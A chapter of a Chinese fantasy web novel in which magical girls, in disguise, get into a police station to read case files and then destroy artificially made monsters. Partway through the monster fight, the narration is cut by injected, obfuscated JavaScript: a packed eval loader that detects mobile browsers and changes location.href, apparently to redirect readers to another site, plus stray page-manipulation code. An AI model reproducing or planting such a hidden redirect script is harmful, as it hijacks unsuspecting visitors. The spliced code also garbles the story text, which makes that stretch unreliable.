“北部警署的刑警部门部长姓花野,她的表亲也在日之森上学,不过大概不会想和我们说话吧。”有乐羽生想起那个看着好说话但不喜欢被牵连的纪检部部长,“我对她不太了解,但她们家做事风格与我们家没什么两样,没有协助我们的可能。” “那我们直接找这些人问问如何?警察的话应该会愿意回答学生们的问题吧,不过这样的话就不会透露太多细节了。”艾克里普思索着说,“或者说绕开这些人行动,我们也并非一定需要来自普通人的调查线索。” “主要是调查方向,我们先入为主以野兽是魔物为前提调查这件事的话可能会忽略部分事实,例如加害者可能是人类。有前车之鉴至少能提前避开部分误区。”有乐羽生说道。 “倒是不用这么麻烦,我们只需要到北部警署并且想办法潜入档案室,或者从内部找到相关材料,然后找到受害者信息和调查结果就好。”森山寺未央有条有理地说,“不过这些人如果有动脑子的话大概也能想到犯人今晚会出现的可能性很高,从而有所行动吧。” 这样理所当然的说法自然是基于使用魔法的情况下的。 “潜入警察局吗?”犬山晓听到这件事表情有些犹豫了起来,“是不是不太好?现在的摄像头功能齐全到我都没办法完全避开,尤其是政府区域内部的,我们潜入的话很难保证不留下任何痕迹。” 这座城市中的摄像头尤其得多,数量远超鸟雀。 “没办法吗?”艾克里普有些意外,“那要不要试试将摄像头全部销毁之后再直接进去找呢?这样一来绝对没可能被发现吧。” “这样一来就绝对进不去了!到时候警察会以三米一位的密度布满警察局的!”森山寺未央大惊失色,“是不是搞错了什么前提?不过没关系啦我有个不需要躲起来也能进去的方法,光明正大的哦!” “什么什么?”有乐羽生有些兴奋。 “目标是存放档案的地方和电脑的话,果然要考虑的就是进入警察局,进入房间,以及登陆电脑和查阅档案。我们之前没有进入过警局内部,没法使用空间魔法,而且如果在狭小的空间遇上人就不好办了。最好是能不受怀疑地进入其中获得权限,这样看来能伪装成不太相关的相关人士是最好的选择。”森山寺未央说的头头是道,非常满意自己编过的小说情节如今有了用武之地。 “有道理呀,我们要伪装成谁?”有乐羽生思索着问,“虽然警察局现在有可能有人现在出外勤,但她们随时有回来的可能。” “只要有照片我就能把面容变化为完全一致,也可以帮忙制造一些混乱,”艾克里普想了想,又说,“但是电脑相关的东西我确实没什么办法。” “市区北部警署是我们这个城市的中心警署,不仅占地位置高贵,它的职位也同样诱人。”森山寺未央说,“混子同事和关系户领导哪里都有,共同的特点就是不干正事,简称不上班。” “是,是这样吗?”犬山晓犹豫地说,“这样是正常的吗?” “可能是吧,有多少人活得好就有成倍的人活得艰辛。”艾克里普叹了口气。 “原来如此!”有乐羽生大概明白了森山寺未央想做些什么,“这样的话我倒是有些经验!” “一会晓去警署门口就这样说。”森山寺未央开始比划着言传身教。 18. Ⅱ 西部市区北部警署,同时也是市警察局警署本部,犬山晓穿着校服站立于迎宾台阶之上,正门之前。空间内部就是警察局了,想到这里,犬山晓的面色愈发纠结。 【果然很引人注意啊这身校服。】坐着电车一路上忍受着周围人议论的犬山晓现在也受到了市中心地区过路人的注目礼,她对于这种观看特殊人群的目光非常接受不能。 【就是要这个效果!加油!】森山寺未央隐藏在角落的影子里。 深吸一口气,犬山晓终于战胜了内心对报假警的纠结走过阶梯并朝大门走去。 大厅接待区内通话与对话声横飞,后方的办公区更是乱上加乱。这异于往常的拥挤现象不仅仅是因为野兽袭击事件,也有因为这个事件而不安的居民前来诉说周围异常情况的。 也准备这样做的犬山晓找到前台报案处,看了一眼旁边的今日出勤表,填写好表格后按照森山寺未央说的那样开口。 “您好,我,我是附近学校的学生,我有关于野兽袭击案件的相关线索想上报。”她尽可能地表现像是一个有些恐慌又有些跃跃欲试的年轻人,“我看见了野兽,就是新闻上报道的那种,就在昨天晚上。” “今天早上市长接受采访时说找了野生动物管控相关人士,虽然说是安抚人心的做法,但如果有民众表示自己有相关信息,那一定会受到重视。进去后就找机会把警察局的出勤表记录下来。”森山寺未央是这样说的。 “而且北部警署的对民办公楼是平楼,你从入口处往里看就能看到里面几乎所有的办公室和办公区。”有乐羽生说。 “当然,犬山晓同学。”接待员果然重视了起来,确认了她提供的表格信息。 “我想直接和负责人说,我真的看到了,就直接看到了。”犬山晓表现地有点焦急。 “您和我说就可以了,我们会尽快转交给专门负责人的。”接待人员表现得有些不太乐意为这件事和领导说话。 “可是你们的领导不就在这里吗?”犬山晓皱眉问,“出勤表上这个人就好,我直接和他说。” “这个,我们,额。”接待人员不知如何回答这个人其实并没有真的出席这件事,“这位刚才出去了!短期不会回来!” “谁说的?”这时,这位领导从大门口走了进来,“若是我不来,岂不错过重要信息了?” 此人正是伪装后的森山寺未央,她的声音并不完全贴合,但在嘈杂的环境下也差不多够用了。 “您来了。”接待人员疑惑地站了起来问好,“那正好,你们去办公室谈吧。” “不,我们直接去刑事办公室。”森山寺未央摇头,“直接把消息告诉今晚要行动的那些人。” “可是那几位不久前出发了。”接待人员小心地提醒说。 “不算迟,来得及。”森山寺未央说,这种模糊的口吻是上位者专属,对侦探游戏涉猎极广的她对此话术了如指掌。 【果然那些人今晚会行动,不过天都没黑就出去了吗。】她说。 【那更好了。】犬山晓说。 “那需要我呼叫一下吗?”接待人员问。 “不用,佐佐木刚才过来了,她来记录就好。”森山寺未央说着,一旁由有乐羽生扮演的佐佐木出现了,这个名字没有出现在出勤表上,但没有人对她的出现或不出现表示奇怪。 “哎呀,我忘记带档案室的门卡了,之前的事我都不记得了啊。”佐佐木一脸苦恼地向接待人员伸出手,“我进去一下马上就出来,借我一下临时钥匙。” 接待人员有些犹豫。 “那些刑警已经开始行动了吗?”犬山晓的语气着急了起来。 “快点吧。”森山寺未央眼神示意接待人员。 “好吧好吧。”接待人员也不再犹豫,“临时的话只能借你十分钟,下次必须打报告了哦。” 有乐羽生嬉笑着接过钥匙,三人往里走,森山寺未央带着门卡往档案室走,有乐羽生带着犬山晓朝刑侦办公室走。 【十分钟,一会见。】森山寺未央说。 刑侦办公室里人不多,大概是多数出了外勤,此时见佐佐木这个著名关系户领着一个学生进来都有些好奇地朝这里看。 “怎么这个点来了?”一个人从电脑后直起身子问,“这位是?” “我见到新闻里说的野兽了!”犬山晓大声说。 “怎么现在过来说?早点的话队长还在这。”那人又把头低下去了。 有乐羽生没搭话,走到桌面上东西最少的办公桌上坐下,打开电脑,显示需要输入账号密码。 【就是现在。】有乐羽生说。 【好,交给我吧。视线转换——】艾克里普施展魔法,让那刚刚说好的人与有乐羽生眼前看到的东西倒转过来。 这就是她唯一需要做的事情了,以及为其余几人使用换装魔法。虽然艾克里普往常处理这种事情的手段更加简单一点,但能与同伴一起行动的话她便不在乎步骤的繁琐。 “咦?怎么突然。可恶啊早说了这个电脑该换新了。”那人大吃一惊,但很快便开始迅速输入登陆账号密码。 然后下一瞬间视线恢复正常那人没发现什么奇怪,继续处理起了眼前的文件。 “你说看到了野兽?具体形容一下。”有乐羽生一边问一边在本地硬盘搜索关键词,很快便调出了几份相似的文件,她迅速地浏览着,企图找到队内行动或调查报告。 “是的,昨天晚上我和朋友在市中心这里吃饭,”犬山晓像是在回忆什么,说话慢吞吞的。“回去的时候有点晚了,我好像走错了路。” 日期不对,不是这个。 “我从一个小巷子里走出来,啊我是因为想走近路回家才这样做的。” 这个是佐佐木的私人文件,健身计划,为什么要把这个放公司电脑啊? “我听见了有什么东西在咀嚼什么的声音,听声音的话大概是骨骼连接处吧。” 这是什么?药品记录,不是这个。 “我就悄悄探头看了一眼。” 有点像这个,执法记录,是之前的,应该就在这个日期附近了。 “我看见了黑暗中什么东西在挪动,看影子挺高的,也没有毛发的样子。” 哇这个关系户真是什么文件都不看啊,全都按日期排序的,下一个。 “我仔细看,才发现是一个生物背对着我,那个脊椎弯曲程度不可能是人类吧。” 哦哦好像是这个,日期也对得上,我来看看吧。 “呕,抱歉,我现在想起来还是很害怕。那个怪物当然是在吃人吧,这是不对的。” 不明神秘野兽袭击,对,我看看,受害人,地点。 “不过我当时回去后一晚上都没有睡,所以现在其实记的不是很清楚了。” 会议总结,怎么这么长,记一下第一段和最后一段,以及每一段的第一句吧。 “抱歉,我只记得是一个黑色的影子,很高,而且挺难闻的。” 【我找到了!都记下来了,我准备好了。】有乐羽生激动地说。 【好,我也差不多了,准备撤离。】森山寺未央回应说。 “很抱歉这位同学,这样模糊的证词是无效的。”有乐羽生语气颇为嘲讽。 “你什么意思?意思是我当时应该冲上去吗?”犬山晓语气尽量不善。 那低着头的人听到争吵声想起来看看,却发现领导走了进来。 “怎么吵起来了?记录的怎么样了?”森山寺未央问。 “这位小姐完全被吓傻了。”有乐羽生耸耸肩。 “那可真是可惜,算了,那就这样吧,有东西能记下来就算是不错了。”森山寺未央说,“先送这位小姐出去吧。” 三人一起离开了刑侦室,屋内的那人抬头看了看关上的门,不禁想问这几人是进来干嘛的? 归还了门卡之后,三人在室外找了个监控看不到的地方解除了变身。 “真是,”犬山晓深深叹了口气,“困难。” “大家辛苦了!”艾克里普笑着说,“过程顺利真是太好了呢,我都看得到哦。” “我们就这么来了又走没关系吗?”有乐羽生感觉非常刺激又有些担心。 “至少最近几天她们不会有时间回顾这一小段插曲了。”森山寺未央说,“即使真的出现了一些问题,也和我们没什么关系就是了。” 几人开始根据刚才得到的信息对起了线索。 “我在档案室找到了受害者们的信息,六个受害者,以及一些不能确认的相似尸体。”森山寺未央说,“好消息说尸体还未被火化,现在储存在中央医院的停尸房里。” “受害者有什么共同点吗?”犬山晓先问了这个。 “很奇怪,受害者们的背景几乎是八竿子打不着的陌生关系,码头工会会长,个人安保公司的采购员,普通工人,建筑公司职员,货车司机还有便利店打工人员。但在我看来受害者都有一个不算特点的共同点,那就是各自没有亲密关系,并且各自有一份稳定性还算不错的职业。”森山寺未央说着思索了起来。 “如果不是野兽的话那就只能是随机杀人了,根据过去的新闻,如果是随机杀人那更难找到凶手。”艾克里普回忆了一番,“这座城市还未有过随机杀人者记录,这次就警方的态度来看应该也不例外。” “随机杀人,听上去像精神病人啊,比起精神病人在外面杀人,反而是魔物概率更高一点吗?”犬山晓说出这个结论时叹了口气,“这样到底是对的还是不对的呢?” “哪种都不对,区分在于需要公共治安部门还是我们去解决这件事。”森山寺未央顿了顿,继续开口道,“其实我们也不是不能都管吧,就怕这件事还有其它内幕,这里的□□不是很猖狂来着吗?会不会有可能和那个势力很神秘的白夜社有关?” “虽然我不了解白夜社但我对□□的作风还算是了解,如果真的有关,那就不可能闹到这个人尽皆知的地步了。”犬山晓摇了摇头。 “以那些人的善后手段来说,这件事甚至不会上新闻吧。”艾克里普也这样说。 “…那会不会是故意如此的呢?”森山寺未央说,“故意留下痕迹,以达到混淆视听或者其它的什么目的,不过这样一来我们就更不可能找出什么真相了。” 这个话题陷入了僵局,档案带来的信息似乎让谜团变得更扑朔迷离了。 “那来说下我这里的。”有乐羽生说,“我不知道是不是这种文件都这样,但就我看来,那些记录全都非常模糊不清,指向不明确,用词非常含糊。但需要重视的是,刑警也不认为这件事是野兽犯下的。” “那其实这算是各方面的共识了,一般来说应该是有个有足够话语权的人将这件事定性之后,案件才能被大肆调查。”犬山晓点了点头说。 “刑警调查报告里说,犯人身上的致命伤并不像野兽造成的,多为一击致命,杀人目的非常明显。而且犯人懂得隐藏自己,目的似乎只是迅速杀死这些目标,刑警推测如果犯人真的结束了连续杀人,那便会彻底隐藏起来,所以会议强调一定要尽快找出真凶。”有乐羽生继续说。 “所以,警察认为能找到一个用来负责的凶手吗?”森山寺未央眉头皱了起来,“有这样的结论其实也侧面说明了她们对调查目标已经有了明确的范围了吧。” “那果然犯人是人类啊。”有乐羽生叹气,“我们还要继续查吗?” “果然还是得看一眼尸体才能确认。”森山寺未央皱眉说。 空气一时寂静下来,果然还是绕不开这个话题。 “咦,不继续讨论了吗?”艾克里普却不理解为何安静,刚刚还挺开心地聊天呢。 “尸体的话,果然还是有点。”有乐羽生面色不好。 “大家都害怕尸体吗?”艾克里普马上理解了,“那就由我去确认吧,我看一眼就能确认是不是魔物造成的。” “艾克里普不害怕吗?”犬山晓意外,其余二人也讶异地看过来。 “尸体我见的不算少,没关系,大家年龄小没见过同类尸体很正常。”艾克里普摇了摇头表示理解,微笑着安慰说,“人类尸体对我来说并不会造成恐怖心理阴影,放心吧。” 时间紧急,艾克里普独自去中心医院地下停尸房查看尸体状态,其余三人前往调查报告中的推测地点寻找潜伏起来的刑警和可能会出现的犯人。 “虽然不确定魔物的类型,但通常来说如果附近出现我们的魔力气息,那魔物是会产生反应。”犬山晓说,“我不使用魔法战斗也可以,到时候如果真的出现魔物就由我解决。” “哦哦!真是令人安心。”森山寺未央拍了拍对方的肩膀。 “交给你了!我带了一件深色外套,带帽子的。”有乐羽生从折叠空间里取出一件外套,犬山晓穿上后身上的校服不再那么显眼了。她点了点头后迅速前往目的地。 “我回来了。”艾克里普出现在二人身边。 “好有效率呀,怎么样?”森山寺未央急迫地问。 “尸体的伤口上确实有魔法气息残留,受害者全都是普通人。”艾克里普面色凝重,她也意识到了事件超出了一开始她自己设定的影响力范畴。 “那果然是?”有乐羽生若有所思。 “但这样的话也太奇怪了,我觉得还是有外力干扰。”艾克里普摇摇头,“伤口确实是魔物会造成的类型,但魔物绝不会因狩猎以外的原因袭击人类。” “那就是说,凶手有可能是我们这样的人吗?”森山寺未央这样说,语气并不是很意外。 “应该不是,普通人无法承受使用魔法的代价。但现在事实出现在眼前就没办法绝对否定这个可能性,确实可能是持有魔法道具的人。”艾克里普语气郑重。 “我有个想法。”有乐羽生说,“会不会是有人控制魔物袭击了这些受害者呢?” “像我这样?”森山寺未央毫不避讳说,“真的是这样的话那反而不用太担心了。” “未央的魔法气息我记得,如果是相似的手法那我应该也能认出。”艾克里普沉思,“羽生说的有一番道理,虽然我从未见过魔物能被人为控制,但未央就是个例外。” “那这样的事情我们还应该去探查吗?”森山寺未央有些纳闷,“虽然说是魔物伤人,但操刀者是人类,我个人倾向于帮帮警察们的忙啦。” “我也觉得应该消灭魔物。”有乐羽生说,“这样加害者以后就也不会有机会伤人了。” “我也同意这一点,”艾克里普难得脸色严肃,“这种做法无疑于自取灭亡,类似的例子我也见过些许,必须要给这些人一个大教训才行。” 于是几人暂时将事件定性为“有个邪恶的幕后黑手用魔法道具操控魔物袭击人类”,并决定把幕后黑手揪出来后狠狠打一顿。 【怎么样?接下来怎么做?】犬山晓问。 【我们将那家伙找出来打一顿吧,现场情况如何?】森山寺未央问。 【那些刑警用警戒线和热武器将整个街区的外围都管控起来了,有个别人深入了内部,说实话我觉得犯人不是个傻子就不会出现。】犬山晓看着空无一人的街道说。 【这种人不一定会在意人类的捕捉手段,热武器造成的伤害对魔物来说并非是绝对致命的,在这种情况下只需要操控者进行取舍,什么行动都有可能做得出。】艾克里普说。 【也有道理,但这样下去也没法找出那个人吧?我们得主动出击。】有乐羽生说。 【羽生说的对,以这里为中心四周都是密集的高楼建筑,魔物大多数情况下都会隐藏自身,有人控制的情况下理应更是如此。】艾克里普思索着,一边用魔力探索周围以及更远的地方的魔力反应。 【动物园或者马戏团!】森山寺未央想起自己姐姐说的话,【这里附近有这种设施吗?】 【西市区北区那边以前有过一个化工厂园区,后来化工厂关闭后园区被租借给了外地来的一个大演出马戏团用,也是有动物表演的。】有乐羽生迅速回忆说,【很久以前我就听说了马戏团去了另一个城市的消息,现在那里应该已经荒废了。】 【我记得那里的位置,那我们三个迅速去看,拜托晓继续看着这里了。】艾克里普说。 三人迅速出发寻找废弃马戏团。 从犬山晓看护的地区到马戏团并不远,若是走街道那正常人需要步行三十多分钟,但艾克里普带着几人赶过去只用了几个瞬间。使用加速魔法的话约莫是两分钟多的直线路程,若是凶手也有差不多的手段,那么便也只需要花费一点点时间就可以让魔物前往市区袭击普通人。 空旷的园区被已然被风雨腐蚀不少的石墙围起,角落里的苍白建筑就是化工厂遗址。而在园区中央,那褪了色也依旧能在现实中脱颖而出的红黄条纹圆形帐篷被遗留在了那里,无论是欢声笑语还是动物咆哮都不再会出现了。 【虽然我以前没来过这里,但莫名就有一种怀念的感觉呢。凶手现在会在里面吗?】有乐羽生在半空中隐身,语气带上了些许危机感。 【我让我的手下去看看。】森山寺未央取出一张卡片,让其化影融入马戏团微微合拢的帐篷大门里。 【如何?】艾克里普没有探查到魔力反应。 【很多杂物,很脏,没有声音,而且好多垃圾啊,是有流浪汉在这里生活过吧。】森山寺未央感受着影子传来的讯息,【好像有个罐头?不对啊这个罐头也太大了,有两米高诶。好像是个竖起来的棺材。】 【咿!】有乐羽生被描述吓了一跳,脚下一空。 【我凑近看看。】森山寺未央让手下靠近那具尸体,确认信息的反馈。 此时,本微微暗的天空彻底失去了最后一丝血色,夜晚来临了。 【不对!它动了!有什么东西在试图从罐头里面出来。】森山寺未央紧张了起来。 【我察觉到了。】艾克里普也察觉到了魔力反应,但这反而令她产生更多的疑惑,例如为何之前她无法探查到魔物的魔力,例如这个罐头是什么东西。 【果然是魔物吗?】有乐羽生不自觉地把剑召唤出来握在手里。 【它动了!好像有什么要出来了!】森山寺未央提醒道。 马戏团的褪色帐篷布微微地颤动了起来,亦或者说是地面在震动,空气中一瞬间寂静无声,所有人都紧盯着帐篷门口,像是在等待一位演员登场。 有什么撞开障碍物走了出来,却又因自身造成的破坏为场地带来了更多障碍物,当它的全身都展现在新鲜出炉的月色之下时,众人才得以窥见它的真容。 这是个人,至少是个人形生物,它刚走出帐篷时如同一副行走的骨架,仅仅贴着骨头有一层细细的紫色的皮,它的身后连接着一根像是脐带的绳子,在它毫不留情的前进过程中断开,留下一滩滩漆黑液体。 胎儿遇到空气后就开始成长,不需要进食,它自有营养来源,那是一根极细的红线,链接它脐带中裸露着的部分,不一会就消失了。 它一边成长一边变化,那本如蜷缩着一般的佝偻体态在空气中诡异地膨胀了起来,先是下肢,主体,上肢,最后是脖子,到了最后,本是全身上下最大的一枚脑袋变成了镶嵌在脖子里的一副抽象画,整体像是一具巨大的无头尸体一般,在空气中颤抖着。 魔物诞生后没有发出声音哭喊,但谁都看得到,它存在。 “呕,呕——”有乐羽生在半空中干呕,这幅大变魔物的表演比她以往见到过的所有魔物都要难以令她接受,她悬浮在半空中蜷缩起来,深呼吸平复起伏的身躯。脚下虚浮地令她想要先落在地上,却又不敢。 不行,有乐羽生心想,我要冷静,我是魔法少女,必须解决这个魔物。 “这是,什么?”森山寺未央一时失去了思考的余韵,但她的脑子很快反应过来,这是魔物,应该是魔物的,否则这世间怎么可能存在如此令人作呕的东西? 比起二人不知所措的反应,艾克里普并没有为此产生丝毫的动摇。 “可悲,可叹,可恨。”艾克里普紧盯着那传来越来越大的魔力反应的新生魔物,现在她哪里还不知道该魔物之前隐藏的魔力反应是有人刻意为之,从她口里传出声音是二人从来都未听过的冰冷悲叹,如同新降临的月色下凉薄的一片雾。 “它,它要跑了。”森山寺未央眼见着本还蹒跚着的魔物肉眼可见地强壮了起来,并且开始加速起跑,她的双腿还在发软,但此时,她知道自己必须行动了。 “没关系的,我去解决它,不要去看。”艾克里普轻轻抬手,有带着白色小花的藤蔓从草地上拔地而起挡住了森山寺未央和有乐羽生的视线。随后她闪身拦在了那魔物身前,但那魔物并没有因此停下脚步或者准备攻击,只是一瘸一拐,越来越快。 显然,这个魔物与寻常魔物并不一样,更像是人工合成制品。艾克里普不禁为其中针对自己探查的设置感到反感,有人清楚她会定期探查魔力反应,便研究出了有类似冬眠机制的即时激发魔力的魔物,她向来未曾小看过人类的想象力和创造力,但也偶尔觉得人类太贪心了。 为何要针对我呢?艾克里普实在是不理解人类这点,从来都不。 魔法少女杀死正常的魔物后会吸收其中魔力从而变得强大,但眼前这个魔物充其量只是含有魔力的某个未知生物,比起吸收其中魔力不如担心制作者有没有在里面下毒,艾克里普想到这里更生气了,因为若是换做她的朋友不一定能察觉到这并不是魔物,从而有大概率会受到伤害。 “就在这里消灭。”艾克里普决定了。 她没有伸出手,魔力自发地聚集了起来,仿佛她有只看不见的手在指导着它们的走向,那魔力聚集到一定程度之后便四散开来,听从其主的指示袭向那魔物。 “大家,请离远一点。”艾克里普说道,森山寺未央听罢紧急召回所有卡牌后退,有乐羽生也同样闪身到了远处。二人心里同时产生了相同的,松了口气的感觉,艾克里普见了之后心里也轻松了些。 那魔物依旧不知疲惫的前进,但它很快就发现自己的距离没有再向前移动,虽然不知道它有没有思考的余韵,但若是它还拥有求知欲,那它便应该低下头去看看—— ——看它那逐渐因石化而变得僵硬并且灰白的下半身,这个效果正在逐渐向上蔓延。 没有留给它喘息的机会,艾克里普在确认它没有再继续移动之后便紧接着发动下一个魔法,她秉持不留余地的做法,准备把它从根本上消灭。 魔物所在的区域附近出现了一些白色的丝线,但若是细看变化发现那并不是真的某种线,而是那片空间被扭曲,撕碎,裂开的痕迹,那些痕迹越来越密集并且出现的越来越快,逐渐在那区域中以一个两米左右半径的球型区域内织成了一张摸不透风的网。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706131|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而那正中靶心的猎物,被近乎密集地连为面的切割下迅速地崩碎,崩塌,再次被切割,变得更加细碎,直到再也无法看出实体,只剩下一片往下落去的灰。 最后一把火扬起,变为一只手的模样把灰全部包裹在手心,消失殆尽。 于是那魔物最后一点生存过的痕迹便也消失了,这一边倒的灭杀发生在不到半分钟的时间里,从艾克里普移动位置到火焰的余烬消失在空气中,过程干脆利落,那魔物甚至来不及发出一声新生儿渴望呼吸的嚎叫。 艾克里普凝视着眼前的一切,而在远处的森山寺未央和艾克里普也无言地用双眼记录了这半分钟发生的事,为其高效且不留余地的做法震惊。 “这就结束了?”森山寺未央过了会才开口道,她从没想过魔法还能这样如同程序一般一环接一环地相互辅助,并以相当小的对外界影响迅速达成目标。她理解或许这是因为她自身的弱小产生的限制,随即,她的心里产生了对变强的渴望。 “好厉害,眼花缭乱。”有乐羽生的心里不知为何涌起了她自己都无法理解的情绪,那是憧憬,恐惧还是单纯地被震撼到了。 “抱歉让你们看到这种东西,很丑陋吧。”艾克里普叹了口气,看向魔物本来所在的位置,眼里充满了怜悯,“那本不应该存在于这个世界上,制造它的人应该很清楚我能做到什么,所以才制造了那样不知为何能阻止魔法气息外泄的魔物。” “制造?那是被制造出来的吗?那不是魔物吗?”有乐羽生不可置信地问。 “魔物身上的特征是模仿生物性的,那个实验体身上的一切特征都是人工的,重点在于血液。这技术在我见过的存在中也算是数一数二的,不敢想象这些人蛰伏了多久,又做了多少事情。”艾克里普抬手摘下了眼镜,她看了看那马戏团所在的位置,又带上了。 有乐羽生一时对这个消息背后所蕴含的意义吓住了,一开始她还以为这只是政治斗争,没想到居然牵扯出了这样的一起骇人听闻的事。 有普通人,在使用普通人制造那样的魔物,并杀害普通人。 “这件事真的太不合理了,还有人拿魔物做实验的?我以为会追着魔物跑的人世界上不会有这么多了。”森山寺未央慌乱地说,“不过这样一来它被艾克里普消灭了的话,接下来应该就不会有野兽袭击事件出现了吧?” 这次是野兽袭击,那之前是什么?这种存在不可能只做过这么一件事,森山寺未央心知肚明,却也希望得到一个不需要她继续思考的答案。 “制造野兽的人还在,那一切都没有结束。”艾克里普摇了摇头说,“不过先去找晓吧,然后去我的事务所坐坐,我来把一切都讲给你们听。” 几人各自消化了一番自己的情绪,准备原路返回。 另一边,身处市政府办公区西北部办公楼林立区域的犬山晓逐渐注意到这里似乎离克拉拉的实验室所在的区域很近,她心里有些担心对方忽然想出门逛街,加快了寻找目标人员的速度。 很快,她闻到了一丝烟味,街区内有人在抽烟。她皱着眉看向其来源,发现了街角一个手里拿着雪茄但没有在抽的人,大约三十四岁,头发凌乱脸色沧桑,风衣内穿着警署制服。 她很快明白过来这就是她要找的警局相关人员。 “不出意外的话下个人肯定就是她了,怎么样,她还没有接电话?”那人问话的声音沙哑,没有回头的动作。 原来警察这边已经有了下一个受害人的人选了吗?犬山晓若有所思。 “报告花野队长,还是没有打通任何一人的电话。”站在一旁的人面露难色开口。 得到这个消息,那个被称为花野的人抬头吸了口雪茄,并在手指被烫到之前将其摁灭在了街角的垃圾桶顶上,随后,她长长地呼出了一口气。 “那这家伙的命大概是保不住了。”她这样说着,耻笑了一声,“那个大老板呢?” “抱歉,她一直都不接受我们的谈话申请,我…”另一人面色更下一层楼。 “说实话我们到底有什么用?不如放我回去喝酒,好过在这里喝着西北风做样子。”花野队长怒极反笑,她习惯性地摸了摸风衣内袋,但最后还是叹了口气,伸手拿出了手机,犬山晓远远地看到那手机屏幕布满裂纹。这还是个酒鬼,她确认了。 电话响了一会后,终于被接通了。 “是我,托您的福,脑子还没坏掉。”花野的语气放松了些,电话那头的人似乎是她的朋友,“就像之前说的,那些人确实不打算管这家伙了。” “…就知道你会这么说,您猜怎么着?”花野哈哈大笑了两声,颓废的脸都生动了起来,“我现在就在现场!没,脑子没坏掉,我出门前没喝酒。” “…我记得呢,不过我还没打算送死,这方面您就安心吧。”花野说着将电话拿远了些。 “…无论如何,这件事我都会管到底的,我现在可是大队长了,还有什么不能管的?”这样说着,花野的脸色却沉了下来,“你说的对,这件事还没到一半。” “什么?真的吗?还能有这种好事?”连续三次反问表达了她的喜出望外,声音都年轻了不少,犬山晓尝试去听电话那一头的声音,但那部手机的声音格外小。 但很快无论是她还是花野都没了听别人说话的时间,街道拐角之后传来了巨大的玻璃碎裂的声音,随后是重物落地的声音,再紧跟其后的是人惊恐呼喊的声音。 哪怕街道封锁,不少建筑里都还是有人在的。 犬山晓察觉到魔力气息,她迅速锁定了目标,以路灯为落脚点跳跃前进,期间她低下头,却和花野对上了视线。 “哦!”花野扬了扬眉算是打招呼,犬山晓愣了愣,没有去理会。 拐角处,一个畸形的魔物矗立在那里,它的右手手上滴落着赤红的血,表明在此之前它都做了些什么。它站在那里并没有其它的动作,犬山晓看不见它的头,但很明显,对方注意到她的出现了。 它抓住一旁的交通标志杆,像是折断一次性筷子一样扯了过来,以一个极其不标准的投竿姿势朝犬山晓投掷过去。 那金属杆如离弦的箭,犬山晓想要避开,下一瞬间想起森山寺未央说的“以保护更多的人为目标”这件事,她抬起双手在那金属杆从她侧身飞过时将其抓住,旋转了一圈握在手中。 她不用回头看都知道后方有人围了过来,事到如今只能先快点解决这个魔物了,犬山晓心想这外套的帽子还挺大的,应该能遮住她的脸。 随手扔下金属杆后,犬山晓迅速取出手甲,那魔物依旧站在原地没有动,虽然对此感到疑惑,但犬山晓还是迅速冲上前,右手蓄力对准那魔物脖子处捏去。 那魔物伸手格挡,于是犬山晓先撕下了它的整只手臂,随后挖向脖子,金属手甲刺穿了它的躯体,犬山晓没有犹豫,连续多次刺穿了它身上多处可能致命的位置。手感和魔物似乎是有些区别的,一些特征看着也很奇怪,犬山晓心中有些疑惑。 那魔物颤抖着,并没有像是犬山晓解决的其它魔物那样消散,反而产生了一些变化。它的身体开始鼓动,像是心脏跳动的太过剧烈一般伸缩着。 这不会是要爆炸了吧,犬山晓心里涌上了强烈的坏预感,她迅速收起手甲向后跳去,将围过来的两个人拉到拐角后方。 “哧——”像是气球泄气一般的声音传出,随后以此为信号弹,巨大的爆炸声接连不断地袭来,黑色的液体带着建筑碎片四处飞溅,但又很快消散,犬山晓感受到了魔物正在消失,心里却并没有放下心来。她没有去管那两人,迅速开始在四周搜索相似的存在。 如果一个敌人自我放弃的如此决绝果断,那要么是有后手,要么是这只是个探查兵,这是犬山晓的经验之谈。 很快她察觉到了其余几人的返回。 【这里出了点状况,有个奇怪的魔物,大家先各自行动,在附近的街区找找有没有可疑的人。】犬山晓说话很急。 【怎么回事?敌人不止一个吗?】有乐羽生心里又一惊。 【如果犯人是能控制魔物的人,那出现这种事也不例外,晓你那边也出现了可疑的魔物吗?头缩在脖子里面浑身上下皱巴巴的那种?】森山寺未央分析道。 【对的,有魔物像是个靶子一样出现在被封锁起来的街头,我把它解决之后它爆炸了,我认为这样的魔物不只一个并且操控者就在附近。】犬山晓迅速说明。 【果然被杀死后会发生反应,】艾克里普眉头紧皱,【拜托大家分开行动了!那魔物并不强,但杀死魔物时要注意距离。】 几人各自说明方向后便开始分开寻找,几人都见过魔物的样子。 【马戏团那里的魔物被消灭之后为何市区里还会出现其它个体呢?】有乐羽生不理解。 【可能马戏团里曾经存放过多个魔物,帐篷里面非常乱但是明显有存放什么的痕迹,灰尘不太均匀。】森山寺未央猜想说,【或许犯人把魔物分开存放了,市区里那些被封锁起来的区域反而成了很好的临时仓库。】 【存放在市区?】有乐羽生反应过来,【那些受害人的家里!】 但很快,这个答案也令她感到恐怖。市区有这么多人,哪怕魔物不主动攻击,只是跑到人群旁边爆炸都难导致大量的伤亡。 【大概率就是如此,这太离谱了。】森山寺未央感到不安,【根据之前的推测,大概今晚就是最终行动,所有魔物都倾巢出动,只留下了一匹在马戏团,可是这一匹又是为了什么呢?难道说是为了处理查到这里的警察?还是说准备销毁那里留下的痕迹?】 【如果假设那些魔物长期处于休眠状态且激活后不久就会自毁或者重新回到休眠状态的话,那操控它的犯人是不是也看到我们刚才的行动了呢?】有乐羽生不禁猜测。 【大概率,】森山寺未央恍然大悟,【我明白了,是诱饵。】 【诱饵?目标是警察!?】有乐羽生一惊。 【目标是,】森山寺未央深吸一口气,【是我们,凶手笃定自己的目标有能力在今天早上新闻爆出后到今晚行动前查清楚魔物所在地,并且有能力去阻止。这只能是我们了。可是这又是为什么呢?为什么“我们存在”是被肯定的,却又做出这种事呢?】 疑问过多地被提出,解答的必要条件还不充分,森山寺未央愈发感到混乱。 